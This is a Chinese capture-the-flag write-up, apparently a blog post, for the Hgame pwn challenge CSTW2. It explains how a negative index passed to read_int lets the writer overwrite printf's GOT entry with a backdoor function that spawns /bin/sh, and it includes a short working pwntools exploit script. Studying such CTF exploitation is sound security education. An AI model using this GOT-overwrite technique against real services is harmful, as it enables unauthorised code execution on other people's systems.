CTF-PWN-CSTW2(Hgame week2)

本文深入解析了CSTW2程序中的read_int函数漏洞,并演示了如何通过控制v5变量来实现对got表的操作,最终劫持printf函数指向backdoor函数,达到执行system('/bin/sh')的效果。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

程序大概就是这么回事,read_int顾名思义,就是一个读入int的函数。虽然题目中要求我们输入的是一个正数,但是我们可以输入负数,可以将其当作一个突破点。

if(v5<=23)内部的read_n,第一个参数是输入的字符串存入的首地址,第二个参数是读入的长度。这个0x6020e0非常可疑,我们可以先进入其中查看。

 

发现这是一个程序中的地址,因此在进行字符串读入的时候,字符串被存入16*v5+0x6020E0中,由于我们可以控制v5,因此我们可以考虑对got表进行操作,劫持一个库函数执行system的功能。

本来执行system函数需要我们找到system的偏移量和构造/bin/sh的shellcode,但是查看程序所有函数之后,发现backdoor给予了我们一个system("/bin/sh"),因此我们只需将一个函数劫持为backdoor即可

这里我选择劫持printf函数,由于printf函数的偏移量存在ox602040,故计算好偏移量即可

from pwn import *
context.log_level='debug'
p=process('./CSTW2')
#p=remote('118.24.3.214',11000)
for i in range(5):
	p.sendline('')
p.sendlineafter('>','-9')
p.sendlineafter('>',p64(0x40096A))
p.interactive()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值